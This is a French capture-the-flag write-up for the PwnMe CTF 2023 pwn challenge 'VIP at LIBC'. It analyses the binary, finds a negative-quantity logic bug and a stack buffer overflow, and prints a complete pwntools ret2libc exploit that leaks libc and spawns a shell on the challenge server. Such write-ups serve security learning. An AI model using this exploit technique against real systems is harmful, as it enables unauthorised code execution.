Note

VIP at LIBC était un challenge de pwn issu du PwnMe CTF 2023. Un challenge d’intro (??) très sympa, avec un petit plus qui lui permet de se démarquer des classiques ret2libc.

Description

Sooo I heard that if you were VIP, you could access some specific features!  
Maybe one of those features can be used to get inside their system?  
  
Author: Zerotistic#0001

vip_at_libc.tgz

Analyse du fichier

On a le binaire et la libc qui va avec, ça nous indique déjà qu’on va probablement devoir interagir avec.

On peut commencer par regarder rapidement à quoi on s’attaque grâce aux commandes file et checksec:

file original && checksec original

original: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c62621cd085e6fcda874f1bd9d8983cd18d0b051, for GNU/Linux 4.4.0, not stripped

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Il s’agit d’un ELF en 64 bits protégé par NX.

On va le run pour avoir une idée de ce qu’il fait:

2023-05-08-112543_973x101_scrot

Il nous demande notre username, puis on accède à un menu avec 4 options

2023-05-08-112550_1094x371_scrot

On va lancer Ghidra pour comprendre un peut mieux comment le programme fonctionne.

Main

2023-05-08-113209_749x501_scrot

Après avoir renommé le variable de buffer, on voit qu’il n’y a a priori pas de vulnérabilité dans la fonction main(), le buffer dans lequel est stocké l’username est de la même taille que le fgets() donc ça me paraît bon.

On voit qu’elle appelle une fonction menu(), on va s’y intéresser

2023-05-08-113854_514x764_scrot

Après avoir renommé les variables buffer et money (qui stockent l’argent de l’utilisateur), on regarde les différentes options:

  1. Affiche l’argent de l’utilisateur
  2. Appelle la fonction buy_ticket()
  3. Appelle la fonction buy_vip_ticket() puis met à jour des variables ainsi que la money
  4. Si l’utilisateur a assez d’argent, appelle la fonction access_lounge(), sinon affiche un message

On va regarder un peu les fonctions unes par unes et voir si on peut trouver des vuln

buy_ticket

2023-05-08-114712_687x573_scrot

Après s’être faits rickroll de plein fouet, on peut s’attarder sur la manière dont le choix de quantité. En effet, la fonction ne vérifie pas si notre input est négatif, en entrant un nombre négatif dans l’input de quantité, notre money va augmenter au lieu de diminuer (comme elle le devrait si on achetait une quantité positive).

Ok, on sait comment abuser d’un logic bug pour avoir de l’argent infini, maintenant il faut savoir à quoi il va nous servir

buy_vip_ticket

2023-05-08-115648_570x636_scrot

Si l’utilisateur a sufisamment d’argent, un input lui permet de confirmer l’action et il devient VIP

access_lounge

2023-05-08-120254_520x411_scrot

Cette dernière fonction n’est accessible que si nous sommes VIP, mais puisque nous avons un bug pour le devenir, ce n’est pas un problème.

Et nous avons enfin notre vuln ! Le fgets lit 0x100 bytes et les stocke quand un buffer de 16 bytes, on a donc ici une buffer overflow.

TLDR: Vulnérabilités

  1. L’option 2 nous permet de dupliquer notre argent en entrant un nombre négatif
  2. Le bug précédent nous permet de devenir VIP et de créer un lounge
  3. Dans la création du lounge il y a une buffer overflow qui va nous permettre d’obtenir notre shell

Plan d’attaque

La première étape de notre exploit va donc être d’avoir accès au salon VIP pour avoir la BOF, puis grâce à cette dernière on va leak une adresse de la libc et retourner au main, puis réaccéder au VIP et appeller system via la BOF.

Logic bug -> ret2main (with leaks) -> ret2system

Je ne montrerai pas dans ce post comment récupérer les différentes adresses statiques, je vous invite à aller voir mes posts de pwn précédents si ça vous initéresse

Exploit

Voici mon exploit final:

#!/usr/bin/python3

from pwn import *

context.update(arch='x86_64')
context.binary = elf = ELF("vip_at_libc_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("./ld-2.35.so", checksec=False)

def start():
    if args.REMOTE:
        r = remote("51.254.39.184", 1335)
    else:
        r = process()
        gdb.attach(r)
    return r

io = start()

def see_current_balance(conn):

    log.info("seeing current balance")

    conn.sendlineafter(b">", b"1")

    return conn.recvuntil(b"$").replace(b"\n", b"").strip().decode()

def buy_ticket(conn, choice, amount):

    log.info("buying ticket")

    conn.sendlineafter(b">", b"2")

    conn.sendlineafter(b">", choice)

    conn.sendlineafter(b">", amount)

    return

def buy_vip_ticket(conn):

    log.info("buying VIP ticket")

    io.sendlineafter(b">", b"3")

    io.sendlineafter(b">", b"1")

    return

def create_vip_lounge(conn, name):

    log.info("creating VIP lounge")

    conn.sendlineafter(b">", b"4")

    conn.sendlineafter(b">", name)

    return io.recvuntil(b"want.")

# =============================================================================

# =-=-=- Un jour je serai le meilleur pwner -=-=-=

pop_rdi_ret = 0x0000000000401186
puts_plt = 0x0000000000401030
ret = 0x000000000040101a

payload = b"Y"*24
payload += p64(pop_rdi_ret) + p64(elf.got["puts"]) + p64(puts_plt)
payload += p64(elf.sym["main"])

io.sendlineafter(b"username: ", b"conflict")

# Dupliquer l'argent
buy_ticket(io, b"1", b"-5000000")

# Devenir VIP = avoir accès au lounge
buy_vip_ticket(io)

# Créer un lounge avec le premier payload pour leak
create_vip_lounge(io, payload)

puts_leak = u64(io.recv().split(b"\n")[3].ljust(8, b'\x00'))

log.success("Leaked puts @ " + hex(puts_leak))

libc.address = puts_leak - (0x7f5c61e80ed0 - 0x7f5c61e00000)

log.success("Resolved libc @ " + hex(libc.address))

bin_sh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym["system"]

log.success("/bin/sh @ " + hex(bin_sh))

log.success("system @ " + hex(system))

payload = b"Y"*24 + p64(ret)
payload += p64(pop_rdi_ret) + p64(bin_sh)
payload += p64(system)

# Puisqu'on est au main, il faut re-entrer notre username
io.sendline(b"conflict")

# Refaire la manip pour être vip
buy_ticket(io, b"1", b"-5000000")

buy_vip_ticket(io)

# Payload final, on devrait avoir un shell
create_vip_lounge(io, payload)


# =============================================================================

io.interactive()